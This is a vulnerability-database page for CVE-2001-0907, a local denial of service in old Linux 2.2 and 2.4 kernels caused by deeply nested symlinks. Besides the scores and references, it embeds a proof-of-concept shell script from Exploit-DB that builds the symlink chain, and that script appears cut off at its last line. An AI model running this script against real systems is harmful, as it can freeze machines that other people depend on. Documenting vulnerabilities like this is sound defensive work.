CVE-2001-0907 : Detail

CVE-2001-0907

0.22%V4
Local
2004-09-01
02h00 +00:00
2002-08-16
22h00 +00:00
CVE.org
NVD
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CVE Descriptions

Linux kernel 2.2.1 through 2.2.19, and 2.4.1 through 2.4.10, allows local users to cause a denial of service via a series of deeply nested symlinks, which causes the kernel to spend extra time when trying to access the link.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.1 AV:L/AC:L/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 21122

Publication date : 2001-10-17 22h00 +00:00
Author : Nergal
EDB Verified : Yes

source: https://www.securityfocus.com/bid/3444/info A denial-of-service vulnerability exists in several versions of the Linux kernel. The problem occurs when a user with local access creates a long chain of symbolically linked files. When the kernel dereferences the symbolic links, the process scheduler is blocked, effecively locking the system until the dereferencing is complete. #!/bin/sh # by Nergal mklink() { IND=$1 NXT=$(($IND+1)) EL=l$NXT/../ P="" I=0 while [ $I -lt $ELNUM ] ; do P=$P"$EL" I=$(($I+1)) done ln -s "$P"l$2 l$IND } #main program if [ $# != 1 ] ; then echo A numerical argument is required. exit 0 fi ELNUM=$1 mklink 4 mklink 3 mklink 2 mklink 1 mklink 0 /../../../../../../../etc/services mkdir l5 mkdir l

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version From (including) 2.2.1 To (including) 2.2.19

Linux>>Linux_kernel >> Version From (including) 2.4.1 To (including) 2.4.10

References

http://marc.info/?l=bugtraq&m=100343090106914&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://marc.info/?l=bugtraq&m=100350685431610&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.securityfocus.com/bid/3444
Tags : vdb-entry, x_refsource_BID